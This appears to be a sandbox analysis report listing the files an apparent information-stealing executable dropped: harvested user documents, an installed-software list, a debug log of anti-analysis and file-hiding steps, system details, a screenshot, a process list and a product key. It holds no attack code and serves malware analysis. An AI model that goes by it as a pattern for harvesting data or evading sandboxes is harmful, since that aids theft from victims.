Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\QNCYCDFIJJ.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\SUAVTZKNFL.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Apps.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	5.424427234479433
Encrypted:	false
SSDEEP:	48:lkf6J/XBlf3J/N5f6J/QPxdSfmJZwfFKJZZOfpJZmfNJeK+y0fMJ/TS8g6PhpjfW:Of4XDflzf4QDSfewfFyAf1mfneKQfebu
MD5:	A3A9FAD9686445602F14ABE76F72EE80
SHA1:	0C54D20C1AB29152A10D7D4A4B98FE177B3E6023
SHA-256:	1AAEFFF83E9B14E19F52E92E0DAA8F0AD32916453D2A5AF27FB5A5810E3C3430
SHA-512:	045751E3762696F7BF3EE5F4859F00FF2F793C0B9425102B14448DB10104DECEA6B225412AD2F1D581513B1D7D7363657C737EAC4C1B89FD21FEC2D80F44B8E2
Malicious:	false
Preview:	.APP: Office 16 Click-to-Run Extensibility Component..VERSION: 16.0.16827.20130..INSTALL DATE: 21/07/2025 03:43:25..IDENTIFYING NUMBER: {90160000-008C-0000-0000-0000000FF1CE}...APP: Office 16 Click-to-Run Extensibility Component 64-bit Registration..VERSION: 16.0.16827.20056..INSTALL DATE: 21/07/2025 03:43:25..IDENTIFYING NUMBER: {90160000-00DD-0000-1000-0000000FF1CE}...APP: Office 16 Click-to-Run Licensing Component..VERSION: 16.0.16827.20130..INSTALL DATE: 21/07/2025 03:43:25..IDENTIFYING NUMBER: {90160000-008F-0000-1000-0000000FF1CE}...APP: Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532..VERSION: 14.36.32532..INSTALL DATE: 21/07/2025 03:43:23..IDENTIFYING NUMBER: {0025DD72-A959-45B5-A0A3-7EFEB15A8050}...APP: Java 8 Update 381..VERSION: 8.0.3810.9..INSTALL DATE: 21/07/2025 03:43:23..IDENTIFYING NUMBER: {77924AE4-039E-4CA4-87B4-2F32180381F0}...APP: Adobe Acrobat (64-bit)..VERSION: 23.006.20320..INSTALL DATE: 21/07/2025 03:43:23..IDENTIFYING NUMBER: {AC76BA86-1033-1033-

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Debug.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2663
Entropy (8bit):	5.357007704118892
Encrypted:	false
SSDEEP:	48:o6xB60tHA0jVHx6MFQ0geeg2AziCzpA5zqCCYClZ5CV:oU1fPGBeh2AzbzSzqCLCBCV
MD5:	D694500E178F14048CC1930F9551B8BA
SHA1:	C35387DA6DC1CE955962CEBAB9180782EE8D07FB
SHA-256:	479AD74AA034D6BAB25AA36317AECE21DCD695E76AB359A5BA643670553E5302
SHA-512:	E0AFC9C85384E4B4147FE0C4E83ECB8E68391F01E2403B0BF1328771AB219BE02E34F4028BCAC05455FD154FBCA94BBCB0864A454166DA9DE9603C5472D0BC9D
Malicious:	false
Preview:	[2024-11-29 06:18:32.090] HideFile : Adding 'hidden' attribute to file C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f..[2024-11-29 06:20:57.125] AntiAnalysis: Successfully loaded 'PCUsernames' list with 143 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'GPUs' list with 99 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'Processes' list with 2 entries...[2024-11-29 06:20:57.156] AntiAnalysis: Successfully loaded 'IPs' list with 203 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'MachineGuids' list with 30 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'PCNames' list with 230 entries...[2024-11-29 06:20:57.219] AntiAnalysis: Successfully loaded 'Services' list with 9 entries...[2024-11-29 06:31:10.465] AntiAnalysis: Failed to check IP addresses. Exception: No such host is known..[2024-11-29 06:31:10.497] HideFile : Adding 'hidden' attribute to file C:\Users\user\Desktop\yv7QsAR49V.

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Desktop_20241129_121705.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	84686
Entropy (8bit):	7.853122876352269
Encrypted:	false
SSDEEP:	1536:CGcIgeM/V61m5QSshldFYWSh/xBvpEMqd2Dg050KIx2PTi2KAGX1SLpftP7:XcIgjdshZYWSh/JEMqd2M050zxovL7
MD5:	6ABDE5D16176B89594B1CC022265BB07
SHA1:	68BBD49AFB737113F02D2A191D9A12DB3C365224
SHA-256:	3CDD5EC67D56A4BD96BBBB0AF7D6176130556253B527EC4F64A778E909B25BEE
SHA-512:	7564374B6F1FBA13D6FFB8D477F042A6A84F6F0106DCF0DB51296BECD9626B01650451790A5112EC64C67695AC55182E9F3D9DFD57B4BA301172824E333C3F95
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(.........k.._:U.d..2.v..G..\^)a.........Q.......?.A.9..@...'...G. .....w.G.....;.n..3...W...:<r.]...yl......6A

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Info.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	506
Entropy (8bit):	5.393981793436472
Encrypted:	false
SSDEEP:	12:RFNbwPRbVkb2cexa2YZG/PjtszJxsWWvdUXyR:3VwP/kb3exaRkPjtQJxsWdS
MD5:	F0F6FFCA6F3F5E274113EC21DBFB8106
SHA1:	920BCF202525F0EDCF3153FC1F4EC426B2237794
SHA-256:	C11DF0BEC4713C88184E668CE1DCDEF8922798FDB24F1AE5124018551D811D87
SHA-512:	CB50442E4F8E8A6199A697E2AC2FB4BED37A5316880605B9755F65DC16B83EC536F83618A9FBB0C62A3100A04DA64700308F8F7508F0F1D96C4C936F4D8A6A12
Malicious:	false
Preview:	.[IP].External IP: 8.46.123.228.Internal IP: No network adapters with an IPv4 address in the system!.Gateway IP: 192.168.2.1..[Machine].Username: user.Compname: 124406.System: Microsoft Windows 10 Pro (64 Bit).CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: NVR6G.RAM: 4095MB.DATE: 2024-11-29 6:18:31 am.SCREEN: 1280x1024.BATTERY: NoSystemBattery (100%).WEBCAMS COUNT: 0..[Virtualization].VirtualMachine: False.SandBoxie: False.Emulator: False.Processes: False.Hosting: False.Antivirus: Windows Defender.

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17237
Entropy (8bit):	5.649480508492972
Encrypted:	false
SSDEEP:	384:+ksE2Et3HNMl1yJT2tTlXBN3F1Gq3hW/SKLTmGG5J90l1AOmsHQ0OnXrFqE1GrL5:ptUB9Fxrvg7
MD5:	D8AEE967522BF621AE525779000AB337
SHA1:	1F5F2B16BC279D2A09AEC96DBBA4E7DD13BEF217
SHA-256:	226D0EA3C6730EFDB0838DE52378803F9EB60E563700311E0C4A3562BC3740CD
SHA-512:	BFF52EB8A62DBEC654C1C742E5C94671F587829F4DC45E8873F0FFCC26A221434021D1E4E3F6C854729772533C1F9A477C9C4034C58ABDAE3C1EABE16A6D00AA
Malicious:	false
Preview:	NAME: svchost..PID: 2152..EXE: C:\Windows\system32\svchost.exe..NAME: SystemSettings..PID: 1720..EXE: C:\Windows\ImmersiveControlPanel\SystemSettings.exe..NAME: OJMuycskEylg..PID: 1288..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: svchost..PID: 2580..EXE: C:\Windows\system32\svchost.exe..NAME: svchost..PID: 3440..EXE: C:\Windows\system32\svchost.exe..NAME: csrss..PID: 420..EXE: ..NAME: fontdrvhost..PID: 784..EXE: C:\Windows\system32\fontdrvhost.exe..NAME: OJMuycskEylg..PID: 5588..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..PID: 4724..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..PID: 2832..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuycskEylg..PID: 3428..EXE: C:\Program Files (x86)\oXmorjVLYtOtWNpyhZfsfQkTLjhIiCvdfADUNKZkAUd\OJMuycskEylg.exe..NAME: OJMuy

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	31
Entropy (8bit):	4.039211536948156
Encrypted:	false
SSDEEP:	3:vk4Vb5kxlT:sUbad
MD5:	404E581F0F928C21546C207A2C7BF446
SHA1:	783D6AA2CD219DE872B9CDF8B5D2A608E9027A71
SHA-256:	00A81045884CF6B9D4711468F0C541E7A87138802192AC1D86EE16DB96C67F62
SHA-512:	3E6AB6F9689A8EC6108B3F97E485AA1705BF901FEA3B9F6C9FCA04330B1223950FCE488F7DCC1BF7033C6EB848A0439B1EF3864F73DE8DDCF23EECB6A6C31671
Malicious:	false
Preview:	FPX2N-FKGBR-G7YFM-C6PBV-TDY87-K

